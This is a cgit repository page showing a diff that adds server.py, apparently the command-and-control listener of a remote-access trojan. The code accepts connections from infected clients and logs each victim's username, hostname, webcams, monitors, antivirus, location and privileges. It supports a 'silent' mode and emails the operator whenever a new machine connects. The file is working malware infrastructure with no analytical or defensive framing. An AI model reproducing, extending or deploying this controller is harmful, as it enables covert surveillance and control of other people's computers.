summaryrefslogtreecommitdiff
path: root/domestic/shell/server.py
diff options
context:
space:
mode:
Diffstat (limited to 'domestic/shell/server.py')
-rw-r--r--domestic/shell/server.py134
1 files changed, 134 insertions, 0 deletions
diff --git a/domestic/shell/server.py b/domestic/shell/server.py
new file mode 100644
index 0000000..2fd0d49
--- /dev/null
+++ b/domestic/shell/server.py
@@ -0,0 +1,134 @@
+import threading
+import socket
+import time
+import sys
+import os
+
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.utility.status_message import *
+from domestic.utility.delete_client import *
+from binary.data_handling.send_data import *
+from binary.data_handling.recv_data import *
+from domestic.utility.get_timestamp import *
+from domestic.make.make_directories import *
+from domestic.utility.write_error import *
+from domestic.utility.send_email import *
+from domestic.utility.read_file import *
+from domestic.global_state import *
+
+
+@error_exception_handling
+def listening(host, port, stdout=True):
+ try:
+ state['sockets']['server'] = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ state['sockets']['server'].bind((host, int(port)))
+ state['sockets']['server'].listen()
+ except Exception as err:
+ write_error(err)
+ state['sockets']['server'] = None
+
+ if stdout:
+ raise Exception('Socket binding error')
+ else:
+ sys.exit(0)
+ else:
+ if stdout:
+ status_message(f'Listening on port {port}', 'success', {'dots': True, 'point': 'dot'})
+
+ while True:
+ try:
+ client, addr = state['sockets']['server'].accept()
+ except Exception as err:
+ write_error(err)
+ break
+
+ try:
+ send_data(client, {'message': 'CsBLDS4n5zPYq7JaxDjxWHK4', 'silent': state['options']['mode']['silent'], 'io_channels': state['settings']['io-channels']}, (state['settings']['encryption'], state['settings']['encoding'], state['settings']['headersize']), {'safe': state['options']['mode']['safe'], 'safe_timeout': state['settings']['safe-timeout']})
+ data = recv_data(client, (state['settings']['encryption'], state['settings']['headersize']))
+ data.update({'timer': time.time()})
+
+ add_client = True
+
+ if os.path.isfile(f'{state["root"]}/{state["settings"]["folders"]["parent"]}/blacklist.txt'):
+ blacklist = read_file(f'{state["root"]}/{state["settings"]["folders"]["parent"]}/blacklist.txt').decode(state['settings']['encoding']).strip().split('\n')
+ for ip in blacklist:
+ try:
+ ip = socket.gethostbyname(ip)
+ except Exception as err:
+ write_error(err)
+
+ if addr[0] == ip:
+ add_client = False
+
+ if not state['options']['validation']['duplicates']:
+ for client_data_obj in state['sockets']['clients'][2]:
+ if data['username'] == client_data_obj['username']:
+ add_client = False
+
+ if len(state['sockets']['clients'][0]) >= state['options']['validation']['max-clients']:
+ add_client = False
+
+ if add_client:
+ if state['options']['information-gathering']['history']:
+ make_directories([data['username']])
+ with open(f'{state["root"]}/{data["username"]}/history.txt', 'a') as f:
+ f.write(f'{data["username"]} connected at {get_timestamp()}\n')
+
+ data_list = (client, addr, data)
+
+ if state['options']['information-gathering']['whoami']:
+ make_directories([data['username']])
+ with open(f'{state["root"]}/{data["username"]}/whoami.txt', 'a') as f:
+ title = f'Whoami at {get_timestamp()}'
+ text = f'Monitors: {data["monitors"]}\nCams: {data["cams"]}\nI/O Channels: {data["io-channels"]}\nUsername@Hostname: {data["username"]}\nAddress: {data["address"]}\nOperating System: {data["os"]}\nAntivirus: {data["antivirus"]}\nLocation: {data["location"]}\nPrivileges: {data["privileges"]}'
+ f.write(f'{title}\n{text}\n{"-" * len(title)}\n')
+
+ for index, item in enumerate(state['sockets']['clients']):
+ item.append(data_list[index])
+
+ if state['options']['notice']['email-notice']:
+ send_email(
+ state['options']['notice']['email-data']['email'],
+ state['options']['notice']['email-data']['password'],
+ state['options']['notice']['email-data']['to'],
+ 'Connection Notice!',
+ f'Connection at {get_timestamp()}\nMonitors: {data["monitors"]}\nCams: {data["cams"]}\nI/O Channels: {data["io-channels"]}\nUsername@Hostname: {data["username"]}\nAddress: {data["address"]}\nOperating System: {data["os"]}\nAntivirus: {data["antivirus"]}\nLocation: {data["location"]}\nPrivileges: {data["privileges"]}')
+ else:
+ client.close()
+ except Exception as err:
+ write_error(err)
+
+
+@error_exception_handling
+def server(message):
+ ip = validate_dict_key(message, 'ip')
+ port = validate_dict_key(message, 'port')
+ status = validate_dict_key(message, 'status')
+ unbind = validate_dict_key(message, 'unbind')
+
+ if port and ip:
+ if state['sockets']['server'] is None:
+ threading.Thread(target=listening, args=(ip, port), daemon=True).start()
+ else:
+ ip, port = state['sockets']['server'].getsockname()
+ status_message(f'You are already listening for clients on {ip}:{port}', 'danger', {'dots': True})
+ elif status:
+ if state['sockets']['server']:
+ ip, port = state['sockets']['server'].getsockname()
+ status_message(f'You are listening for clients on {ip}:{port}', 'primary')
+ else:
+ status_message('You are not listening for clients', 'warning')
+ elif unbind:
+ if state['sockets']['server']:
+ state['sockets']['server'].close()
+ state['sockets']['server'] = None
+
+ for index, client in enumerate(state['sockets']['clients'][0]):
+ delete_client(index, False)
+
+ status_message('You\'re no longer listening for clients\nServer socket is now closed', 'success')
+ else:
+ status_message(f'You\'re not listening for clients\nThere is no server socket to close', 'warning')
+ else:
+ raise Exception('Error message') \ No newline at end of file